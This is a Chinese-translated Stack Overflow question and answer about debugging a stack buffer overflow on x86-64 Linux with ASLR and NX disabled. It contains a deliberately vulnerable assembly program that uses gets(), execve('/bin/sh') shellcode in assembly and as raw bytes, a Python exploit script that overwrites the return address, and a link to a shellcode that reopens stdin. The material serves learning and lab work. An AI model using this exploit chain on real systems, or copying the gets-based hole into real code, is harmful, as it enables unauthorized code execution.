我在 Linux (amd64) 上尝试了缓冲区溢出并尝试利用一个简单的程序,但失败了。我禁用了安全功能(使用 sysctl -w kernel.randomize_va_space=0 和 BIOS 中的 nx 位进行地址空间布局随机化)。它跳转到堆栈并执行 shellcode,但不会启动 shell。 execve 系统调用成功,但随后它就终止了。知道出了什么问题吗?独立运行 shellcode 效果很好。
额外问题:为什么在调用 printf 之前需要将 rax 设置为零? (见代码中的注释)
易受攻击的文件buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
编译:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
开始于:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
使用 gdb 进行调试:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
最佳答案
我现在在虚拟机中使用 Ubuntu 9.10 时遇到了几乎相同的问题。 禁用操作系统的所有安全措施,并且像“退出程序并将退出代码设置为 42”这样的简单漏洞确实有效,但当尝试打开 shell 时,程序就会终止。 gdb 的输出是相同的:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
事情是,我需要它在大约。 16 小时的演示:-D
<小时/>更新: 我发现了这个巧妙的研究:www.shell-storm.org/papers/files/539.pdf
第 16 页上写着: “如果我们尝试执行 shell,它会在此配置中立即终止”
在其他不使用 gets() 的示例中,它们很好地生成了 shell。不幸的是,他们没有暗示为什么它不能那样工作。 :(
<小时/>下次更新: 看来它与标准输入有关。 shell 无法正确使用从原始进程获取的进程。我尝试使用一个最小的 shell,我找到了 (evilsh) 的源代码。它在尝试读取输入时崩溃了。我的猜测是,bash/dash 会检查这一点,并在标准输入出现问题时默默退出。
<小时/>好吧,请不要因为我在这里与自己对话而杀了我,但是......
我找到了解决方案!
由于某种原因,有必要重新打开输入。我在这里找到了一个有效的 shellcode:
http://www.milw0rm.com/shellcode/2040
我没有看到提示,但我可以使用打开的 shell 运行程序等。
关于security - 简单堆栈溢出的 Shellcode : Exploited program with shell terminates directly after execve ("/bin/sh"),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2859127/